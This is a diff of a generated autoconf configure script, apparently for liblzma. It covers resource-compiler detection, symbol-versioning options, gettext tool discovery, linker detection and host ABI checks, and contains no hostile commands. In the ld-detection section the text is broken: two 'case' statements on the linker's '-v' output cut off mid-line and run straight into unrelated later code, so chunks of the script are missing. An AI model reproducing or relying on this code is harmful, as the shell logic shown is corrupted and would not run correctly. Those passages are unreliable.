+RC=$ac_cv_prog_RC +if test -n "$RC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $RC" >&5 +printf "%s\n" "$RC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_RC"; then + ac_ct_RC=$RC + # Extract the first word of "windres", so it can be a program name with args. +set dummy windres; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_RC+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_RC"; then + ac_cv_prog_ac_ct_RC="$ac_ct_RC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_RC="windres" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_RC=$ac_cv_prog_ac_ct_RC +if test -n "$ac_ct_RC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_RC" >&5 +printf "%s\n" "$ac_ct_RC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_RC" = x; then + RC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + RC=$ac_ct_RC + fi +else + RC="$ac_cv_prog_RC" +fi + + + + +# Source file extension for RC test sources. +ac_ext=rc + +# Object file extension for compiled RC test sources. +objext=o +objext_RC=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code='sample MENU { MENUITEM "&Soup", 100, CHECKED }' + +# Code to be used in simple link tests +lt_simple_link_test_code=$lt_simple_compile_test_code + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. + + + + + + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# If no C compiler flags were specified, use CFLAGS. +LTCFLAGS=${LTCFLAGS-"$CFLAGS"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# save warnings/boilerplate of simple test code +ac_outfile=conftest.$ac_objext +echo "$lt_simple_compile_test_code" >conftest.$ac_ext +eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err +_lt_compiler_boilerplate=`cat conftest.err` +$RM conftest* + +ac_outfile=conftest.$ac_objext +echo "$lt_simple_link_test_code" >conftest.$ac_ext +eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err +_lt_linker_boilerplate=`cat conftest.err` +$RM -r conftest* + + +# Allow CC to be a program name with arguments. +lt_save_CC=$CC +lt_save_CFLAGS=$CFLAGS +lt_save_GCC=$GCC +GCC= +CC=${RC-"windres"} +CFLAGS= +compiler=$CC +compiler_RC=$CC +func_cc_basename $compiler +cc_basename=$func_cc_basename_result + +lt_cv_prog_compiler_c_o_RC=yes + +if test -n "$compiler"; then + : + + + +fi + +GCC=$lt_save_GCC +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +CC=$lt_save_CC +CFLAGS=$lt_save_CFLAGS + + +# This is a bit wrong since it is possible to request that only some libs +# are built as shared. Using that feature isn't so common though, and this +# breaks only on Windows (at least for now) if the user enables only some +# libs as shared. + if test "x$enable_shared" != xno; then + COND_SHARED_TRUE= + COND_SHARED_FALSE='#' +else + COND_SHARED_TRUE='#' + COND_SHARED_FALSE= +fi + + +##################### +# Symbol versioning # +##################### + +# NOTE: This checks if we are building shared or static library +# and if --with-pic or --without-pic was used. Thus this check +# must be after Libtool initialization. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if library symbol versioning should be used" >&5 +printf %s "checking if library symbol versioning should be used... " >&6; } +# Check whether --enable-symbol-versions was given. +if test ${enable_symbol_versions+y} +then : + enableval=$enable_symbol_versions; +else case e in #( + e) enable_symbol_versions=auto ;; +esac +fi + +if test "x$enable_symbol_versions" = xauto; then + case $host_os in + # NOTE: Even if one omits -gnu on GNU/Linux (e.g. + # i486-slackware-linux), configure will (via config.sub) + # append -gnu (e.g. i486-slackware-linux-gnu), and this + # test will work correctly. + gnu* | *-gnu* | freebsd*) + enable_symbol_versions=yes + ;; + *) + enable_symbol_versions=no + ;; + esac +fi + +# There are two variants for symbol versioning. +# See src/liblzma/validate_map.sh for details. +# +# On GNU/Linux, extra symbols are added in the C code. These extra symbols +# must not be put into a static library as they can cause problems (and +# even if they didn't cause problems, they would be useless). On other +# systems symbol versioning may be used too but there is no problem as only +# a linker script is specified in src/liblzma/Makefile.am and that isn't +# used when creating a static library. +# +# Libtool always uses -DPIC when building shared libraries by default and +# doesn't use it for static libs by default. This can be overridden with +# --with-pic and --without-pic though. As long as neither --with-pic nor +# --without-pic is used then we can use #ifdef PIC to detect if the file is +# being built for a shared library. +if test "x$enable_symbol_versions" = xno ; then + enable_symbol_versions=no + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +elif test "x$enable_shared" = xno ; then + enable_symbol_versions=no + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no (not building a shared library)" >&5 +printf "%s\n" "no (not building a shared library)" >&6; } +else + case "$host_cpu-$host_os" in + microblaze*) + # GCC 12 on MicroBlaze doesn't support __symver__ + # attribute. It's simplest and safest to use the + # generic version on that platform since then only + # the linker script is needed. The RHEL/CentOS 7 + # compatibility symbols don't matter on MicroBlaze. + enable_symbol_versions=generic + ;; + *-linux*) + case "$pic_mode-$enable_static" in + default-*) + # Use symvers if PIC is defined. + have_symbol_versions_linux=2 + ;; + *-no) + # Not building static library. + # Use symvers unconditionally. + have_symbol_versions_linux=1 + ;; + *) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: " >&5 +printf "%s\n" "" >&6; } + as_fn_error $? " + On GNU/Linux, building both shared and static library at the same time + is not supported if --with-pic or --without-pic is used. + Use either --disable-shared or --disable-static to build one type + of library at a time. If both types are needed, build one at a time, + possibly picking only src/liblzma/.libs/liblzma.a from the static build." "$LINENO" 5 + ;; + esac + enable_symbol_versions=linux + +printf "%s\n" "#define HAVE_SYMBOL_VERSIONS_LINUX $have_symbol_versions_linux" >>confdefs.h + + ;; + *) + enable_symbol_versions=generic + ;; + esac + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: yes ($enable_symbol_versions)" >&5 +printf "%s\n" "yes ($enable_symbol_versions)" >&6; } +fi + + if test "x$enable_symbol_versions" = xlinux; then + COND_SYMVERS_LINUX_TRUE= + COND_SYMVERS_LINUX_FALSE='#' +else + COND_SYMVERS_LINUX_TRUE='#' + COND_SYMVERS_LINUX_FALSE= +fi + + if test "x$enable_symbol_versions" = xgeneric; then + COND_SYMVERS_GENERIC_TRUE= + COND_SYMVERS_GENERIC_FALSE='#' +else + COND_SYMVERS_GENERIC_TRUE='#' + COND_SYMVERS_GENERIC_FALSE= +fi + + + +############################################################################### +# Checks for libraries. +############################################################################### + +echo +echo "Initializing gettext:" + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether NLS is requested" >&5 +printf %s "checking whether NLS is requested... " >&6; } + # Check whether --enable-nls was given. +if test ${enable_nls+y} +then : + enableval=$enable_nls; USE_NLS=$enableval +else case e in #( + e) USE_NLS=yes ;; +esac +fi + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $USE_NLS" >&5 +printf "%s\n" "$USE_NLS" >&6; } + + + + + GETTEXT_MACRO_VERSION=0.20 + + + + +# Prepare PATH_SEPARATOR. +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + # Determine PATH_SEPARATOR by trying to find /bin/sh in a PATH which + # contains only /bin. Note that ksh looks also at the FPATH variable, + # so we have to set that as well for the test. + PATH_SEPARATOR=: + (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \ + && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \ + || PATH_SEPARATOR=';' + } +fi + +# Find out how to test for executable files. Don't use a zero-byte file, +# as systems may use methods other than mode bits to determine executability. +cat >conf$$.file <<_ASEOF +#! /bin/sh +exit 0 +_ASEOF +chmod +x conf$$.file +if test -x conf$$.file >/dev/null 2>&1; then + ac_executable_p="test -x" +else + ac_executable_p="test -f" +fi +rm -f conf$$.file + +# Extract the first word of "msgfmt", so it can be a program name with args. +set dummy msgfmt; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_path_MSGFMT+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) case "$MSGFMT" in + [\\/]* | ?:[\\/]*) + ac_cv_path_MSGFMT="$MSGFMT" # Let the user override the test with a path. + ;; + *) + ac_save_IFS="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS="$ac_save_IFS" + test -z "$ac_dir" && ac_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $ac_executable_p "$ac_dir/$ac_word$ac_exec_ext"; then + echo "$as_me: trying $ac_dir/$ac_word..." >&5 + if $ac_dir/$ac_word --statistics /dev/null >&5 2>&1 && + (if $ac_dir/$ac_word --statistics /dev/null 2>&1 >/dev/null | grep usage >/dev/null; then exit 1; else exit 0; fi); then + ac_cv_path_MSGFMT="$ac_dir/$ac_word$ac_exec_ext" + break 2 + fi + fi + done + done + IFS="$ac_save_IFS" + test -z "$ac_cv_path_MSGFMT" && ac_cv_path_MSGFMT=":" + ;; +esac ;; +esac +fi +MSGFMT="$ac_cv_path_MSGFMT" +if test "$MSGFMT" != ":"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $MSGFMT" >&5 +printf "%s\n" "$MSGFMT" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + # Extract the first word of "gmsgfmt", so it can be a program name with args. +set dummy gmsgfmt; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_path_GMSGFMT+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) case $GMSGFMT in + [\\/]* | ?:[\\/]*) + ac_cv_path_GMSGFMT="$GMSGFMT" # Let the user override the test with a path. + ;; + *) + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_path_GMSGFMT="$as_dir$ac_word$ac_exec_ext" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + + test -z "$ac_cv_path_GMSGFMT" && ac_cv_path_GMSGFMT="$MSGFMT" + ;; +esac ;; +esac +fi +GMSGFMT=$ac_cv_path_GMSGFMT +if test -n "$GMSGFMT"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $GMSGFMT" >&5 +printf "%s\n" "$GMSGFMT" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + + case `$GMSGFMT --version | sed 1q | sed -e 's,^[^0-9]*,,'` in + '' | 0.[0-9] | 0.[0-9].* | 0.1[0-4] | 0.1[0-4].*) GMSGFMT_015=: ;; + *) GMSGFMT_015=$GMSGFMT ;; + esac + + + +# Prepare PATH_SEPARATOR. +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + # Determine PATH_SEPARATOR by trying to find /bin/sh in a PATH which + # contains only /bin. Note that ksh looks also at the FPATH variable, + # so we have to set that as well for the test. + PATH_SEPARATOR=: + (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \ + && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \ + || PATH_SEPARATOR=';' + } +fi + +# Find out how to test for executable files. Don't use a zero-byte file, +# as systems may use methods other than mode bits to determine executability. +cat >conf$$.file <<_ASEOF +#! /bin/sh +exit 0 +_ASEOF +chmod +x conf$$.file +if test -x conf$$.file >/dev/null 2>&1; then + ac_executable_p="test -x" +else + ac_executable_p="test -f" +fi +rm -f conf$$.file + +# Extract the first word of "xgettext", so it can be a program name with args. +set dummy xgettext; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_path_XGETTEXT+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) case "$XGETTEXT" in + [\\/]* | ?:[\\/]*) + ac_cv_path_XGETTEXT="$XGETTEXT" # Let the user override the test with a path. + ;; + *) + ac_save_IFS="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS="$ac_save_IFS" + test -z "$ac_dir" && ac_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $ac_executable_p "$ac_dir/$ac_word$ac_exec_ext"; then + echo "$as_me: trying $ac_dir/$ac_word..." >&5 + if $ac_dir/$ac_word --omit-header --copyright-holder= --msgid-bugs-address= /dev/null >&5 2>&1 && + (if $ac_dir/$ac_word --omit-header --copyright-holder= --msgid-bugs-address= /dev/null 2>&1 >/dev/null | grep usage >/dev/null; then exit 1; else exit 0; fi); then + ac_cv_path_XGETTEXT="$ac_dir/$ac_word$ac_exec_ext" + break 2 + fi + fi + done + done + IFS="$ac_save_IFS" + test -z "$ac_cv_path_XGETTEXT" && ac_cv_path_XGETTEXT=":" + ;; +esac ;; +esac +fi +XGETTEXT="$ac_cv_path_XGETTEXT" +if test "$XGETTEXT" != ":"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $XGETTEXT" >&5 +printf "%s\n" "$XGETTEXT" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + rm -f messages.po + + case `$XGETTEXT --version | sed 1q | sed -e 's,^[^0-9]*,,'` in + '' | 0.[0-9] | 0.[0-9].* | 0.1[0-4] | 0.1[0-4].*) XGETTEXT_015=: ;; + *) XGETTEXT_015=$XGETTEXT ;; + esac + + + +# Prepare PATH_SEPARATOR. +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + # Determine PATH_SEPARATOR by trying to find /bin/sh in a PATH which + # contains only /bin. Note that ksh looks also at the FPATH variable, + # so we have to set that as well for the test. + PATH_SEPARATOR=: + (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \ + && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \ + || PATH_SEPARATOR=';' + } +fi + +# Find out how to test for executable files. Don't use a zero-byte file, +# as systems may use methods other than mode bits to determine executability. +cat >conf$$.file <<_ASEOF +#! /bin/sh +exit 0 +_ASEOF +chmod +x conf$$.file +if test -x conf$$.file >/dev/null 2>&1; then + ac_executable_p="test -x" +else + ac_executable_p="test -f" +fi +rm -f conf$$.file + +# Extract the first word of "msgmerge", so it can be a program name with args. +set dummy msgmerge; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_path_MSGMERGE+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) case "$MSGMERGE" in + [\\/]* | ?:[\\/]*) + ac_cv_path_MSGMERGE="$MSGMERGE" # Let the user override the test with a path. + ;; + *) + ac_save_IFS="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS="$ac_save_IFS" + test -z "$ac_dir" && ac_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $ac_executable_p "$ac_dir/$ac_word$ac_exec_ext"; then + echo "$as_me: trying $ac_dir/$ac_word..." >&5 + if $ac_dir/$ac_word --update -q /dev/null /dev/null >&5 2>&1; then + ac_cv_path_MSGMERGE="$ac_dir/$ac_word$ac_exec_ext" + break 2 + fi + fi + done + done + IFS="$ac_save_IFS" + test -z "$ac_cv_path_MSGMERGE" && ac_cv_path_MSGMERGE=":" + ;; +esac ;; +esac +fi +MSGMERGE="$ac_cv_path_MSGMERGE" +if test "$MSGMERGE" != ":"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $MSGMERGE" >&5 +printf "%s\n" "$MSGMERGE" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + if LC_ALL=C $MSGMERGE --help | grep ' --for-msgfmt ' >/dev/null; then + MSGMERGE_FOR_MSGFMT_OPTION='--for-msgfmt' + else + if LC_ALL=C $MSGMERGE --help | grep ' --no-fuzzy-matching ' >/dev/null; then + MSGMERGE_FOR_MSGFMT_OPTION='--no-fuzzy-matching --no-location --quiet' + else + MSGMERGE_FOR_MSGFMT_OPTION='--no-location --quiet' + fi + fi + + + test -n "${XGETTEXT_EXTRA_OPTIONS+set}" || XGETTEXT_EXTRA_OPTIONS= + + + ac_config_commands="$ac_config_commands po-directories" + + + + if test "X$prefix" = "XNONE"; then + acl_final_prefix="$ac_default_prefix" + else + acl_final_prefix="$prefix" + fi + if test "X$exec_prefix" = "XNONE"; then + acl_final_exec_prefix='${prefix}' + else + acl_final_exec_prefix="$exec_prefix" + fi + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + eval acl_final_exec_prefix=\"$acl_final_exec_prefix\" + prefix="$acl_save_prefix" + + + +# Check whether --with-gnu-ld was given. +if test ${with_gnu_ld+y} +then : + withval=$with_gnu_ld; test "$withval" = no || with_gnu_ld=yes +else case e in #( + e) with_gnu_ld=no ;; +esac +fi + +# Prepare PATH_SEPARATOR. +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + # Determine PATH_SEPARATOR by trying to find /bin/sh in a PATH which + # contains only /bin. Note that ksh looks also at the FPATH variable, + # so we have to set that as well for the test. + PATH_SEPARATOR=: + (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \ + && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \ + || PATH_SEPARATOR=';' + } +fi + +if test -n "$LD"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for ld" >&5 +printf %s "checking for ld... " >&6; } +elif test "$GCC" = yes; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for ld used by $CC" >&5 +printf %s "checking for ld used by $CC... " >&6; } +elif test "$with_gnu_ld" = yes; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for GNU ld" >&5 +printf %s "checking for GNU ld... " >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for non-GNU ld" >&5 +printf %s "checking for non-GNU ld... " >&6; } +fi +if test -n "$LD"; then + # Let the user override the test with a path. + : +else + if test ${acl_cv_path_LD+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) + acl_cv_path_LD= # Final result of this test + ac_prog=ld # Program to search in $PATH + if test "$GCC" = yes; then + # Check if gcc -print-prog-name=ld gives a path. + case $host in + *-*-mingw* | windows*) + # gcc leaves a trailing carriage return which upsets mingw + acl_output=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; + *) + acl_output=`($CC -print-prog-name=ld) 2>&5` ;; + esac + case $acl_output in + # Accept absolute paths. + [\\/]* | ?:[\\/]*) + re_direlt='/[^/][^/]*/\.\./' + # Canonicalize the pathname of ld + acl_output=`echo "$acl_output" | sed 's%\\\\%/%g'` + while echo "$acl_output" | grep "$re_direlt" > /dev/null 2>&1; do + acl_output=`echo $acl_output | sed "s%$re_direlt%/%"` + done + # Got the pathname. No search in PATH is needed. + acl_cv_path_LD="$acl_output" + ac_prog= + ;; + "") + # If it fails, then pretend we aren't using GCC. + ;; + *) + # If it is relative, then search for the first ld in PATH. + with_gnu_ld=unknown + ;; + esac + fi + if test -n "$ac_prog"; then + # Search for $ac_prog in $PATH. + acl_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS="$acl_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then + acl_cv_path_LD="$ac_dir/$ac_prog" + # Check to see if the program is GNU ld. I'd rather use --version, + # but apparently some variants of GNU ld only accept -v. + # Break only if it was the GNU/non-GNU ld that we prefer. + case `"$acl_cv_path_LD" -v 2>&1 conftest.$ac_ext +/* end confdefs.h. */ +#if defined __powerpc64__ || defined __LP64__ + int ok; + #else + error fail + #endif + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + # The compiler produces 64-bit code. Add option '-b64' so that the + # linker groks 64-bit object files. + case "$acl_cv_path_LD " in + *" -b64 "*) ;; + *) acl_cv_path_LD="$acl_cv_path_LD -b64" ;; + esac + +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; + sparc64-*-netbsd*) + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#if defined __sparcv9 || defined __arch64__ + int ok; + #else + error fail + #endif + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + +else case e in #( + e) # The compiler produces 32-bit code. Add option '-m elf32_sparc' + # so that the linker groks 32-bit object files. + case "$acl_cv_path_LD " in + *" -m elf32_sparc "*) ;; + *) acl_cv_path_LD="$acl_cv_path_LD -m elf32_sparc" ;; + esac + ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; + esac + ;; +esac +fi + + LD="$acl_cv_path_LD" +fi +if test -n "$LD"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $LD" >&5 +printf "%s\n" "$LD" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } + as_fn_error $? "no acceptable ld found in \$PATH" "$LINENO" 5 +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if the linker ($LD) is GNU ld" >&5 +printf %s "checking if the linker ($LD) is GNU ld... " >&6; } +if test ${acl_cv_prog_gnu_ld+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) # I'd rather use --version here, but apparently some GNU lds only accept -v. +case `$LD -v 2>&1 &5 +printf "%s\n" "$acl_cv_prog_gnu_ld" >&6; } +with_gnu_ld=$acl_cv_prog_gnu_ld + + + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for shared library run path origin" >&5 +printf %s "checking for shared library run path origin... " >&6; } +if test ${acl_cv_rpath+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) + CC="$CC" GCC="$GCC" LDFLAGS="$LDFLAGS" LD="$LD" with_gnu_ld="$with_gnu_ld" \ + ${CONFIG_SHELL-/bin/sh} "$ac_aux_dir/config.rpath" "$host" > conftest.sh + . ./conftest.sh + rm -f ./conftest.sh + acl_cv_rpath=done + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $acl_cv_rpath" >&5 +printf "%s\n" "$acl_cv_rpath" >&6; } + wl="$acl_cv_wl" + acl_libext="$acl_cv_libext" + acl_shlibext="$acl_cv_shlibext" + acl_libname_spec="$acl_cv_libname_spec" + acl_library_names_spec="$acl_cv_library_names_spec" + acl_hardcode_libdir_flag_spec="$acl_cv_hardcode_libdir_flag_spec" + acl_hardcode_libdir_separator="$acl_cv_hardcode_libdir_separator" + acl_hardcode_direct="$acl_cv_hardcode_direct" + acl_hardcode_minus_L="$acl_cv_hardcode_minus_L" + # Check whether --enable-rpath was given. +if test ${enable_rpath+y} +then : + enableval=$enable_rpath; : +else case e in #( + e) enable_rpath=yes ;; +esac +fi + + + + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking 32-bit host C ABI" >&5 +printf %s "checking 32-bit host C ABI... " >&6; } +if test ${gl_cv_host_cpu_c_abi_32bit+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$gl_cv_host_cpu_c_abi"; then + case "$gl_cv_host_cpu_c_abi" in + i386 | x86_64-x32 | arm | armhf | arm64-ilp32 | hppa | ia64-ilp32 | mips | mipsn32 | powerpc | riscv*-ilp32* | s390 | sparc) + gl_cv_host_cpu_c_abi_32bit=yes ;; + x86_64 | alpha | arm64 | aarch64c | hppa64 | ia64 | mips64 | powerpc64 | powerpc64-elfv2 | riscv*-lp64* | s390x | sparc64 ) + gl_cv_host_cpu_c_abi_32bit=no ;; + *) + gl_cv_host_cpu_c_abi_32bit=unknown ;; + esac + else + case "$host_cpu" in + + # CPUs that only support a 32-bit ABI. + arc \ + | bfin \ + | cris* \ + | csky \ + | epiphany \ + | ft32 \ + | h8300 \ + | m68k \ + | microblaze | microblazeel \ + | nds32 | nds32le | nds32be \ + | nios2 | nios2eb | nios2el \ + | or1k* \ + | or32 \ + | sh | sh1234 | sh1234elb \ + | tic6x \ + | xtensa* ) + gl_cv_host_cpu_c_abi_32bit=yes + ;; + + # CPUs that only support a 64-bit ABI. + alpha | alphaev[4-8] | alphaev56 | alphapca5[67] | alphaev6[78] \ + | mmix ) + gl_cv_host_cpu_c_abi_32bit=no + ;; + + i[34567]86 ) + gl_cv_host_cpu_c_abi_32bit=yes + ;; + + x86_64 ) + # On x86_64 systems, the C compiler may be generating code in one of + # these ABIs: + # - 64-bit instruction set, 64-bit pointers, 64-bit 'long': x86_64. + # - 64-bit instruction set, 64-bit pointers, 32-bit 'long': x86_64 + # with native Windows (mingw, MSVC). + # - 64-bit instruction set, 32-bit pointers, 32-bit 'long': x86_64-x32. + # - 32-bit instruction set, 32-bit pointers, 32-bit 'long': i386. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#if (defined __x86_64__ || defined __amd64__ \ + || defined _M_X64 || defined _M_AMD64) \ + && !(defined __ILP32__ || defined _ILP32) + int ok; + #else + error fail + #endif + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + gl_cv_host_cpu_c_abi_32bit=no +else case e in #( + e) gl_cv_host_cpu_c_abi_32bit=yes ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; + + arm* | aarch64 | aarch64c ) + # Assume arm with EABI. + # On arm64 systems, the C compiler may be generating code in one of + # these ABIs: + # - aarch64 instruction set, 64-bit pointers, 64-bit 'long': arm64. + # - aarch64 instruction set, 32-bit pointers, 32-bit 'long': arm64-ilp32. + # - 32-bit instruction set, 32-bit pointers, 32-bit 'long': arm or armhf. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#if defined __aarch64__ && !(defined __ILP32__ || defined _ILP32) + int ok; + #else + error fail + #endif + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + gl_cv_host_cpu_c_abi_32bit=no +else case e in #( + e) gl_cv_host_cpu_c_abi_32bit=yes ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; + + hppa1.0 | hppa1.1 | hppa2.0* | hppa64 ) + # On hppa, the C compiler may be generating 32-bit code or 64-bit + # code. In the latter case, it defines _LP64 and __LP64__. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#ifdef __LP64__ + int ok; + #else + error fail + #endif + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + gl_cv_host_cpu_c_abi_32bit=no +else case e in #( + e) gl_cv_host_cpu_c_abi_32bit=yes ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; + + ia64* ) + # On ia64 on HP-UX, the C compiler may be generating 64-bit code or + # 32-bit code. In the latter case, it defines _ILP32. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#ifdef _ILP32 + int ok; + #else + error fail + #endif + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + gl_cv_host_cpu_c_abi_32bit=yes +else case e in #( + e) gl_cv_host_cpu_c_abi_32bit=no ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; + + mips* ) + # We should also check for (_MIPS_SZPTR == 64), but gcc keeps this + # at 32. + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#if defined _MIPS_SZLONG && (_MIPS_SZLONG == 64) + int ok; + #else + error fail + #endif + +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + gl_cv_host_cpu_c_abi_32bit=no +else case e in #( + e) gl_cv_host_cpu_c_abi_32bit=yes ;; +esac +fi +rm -f core 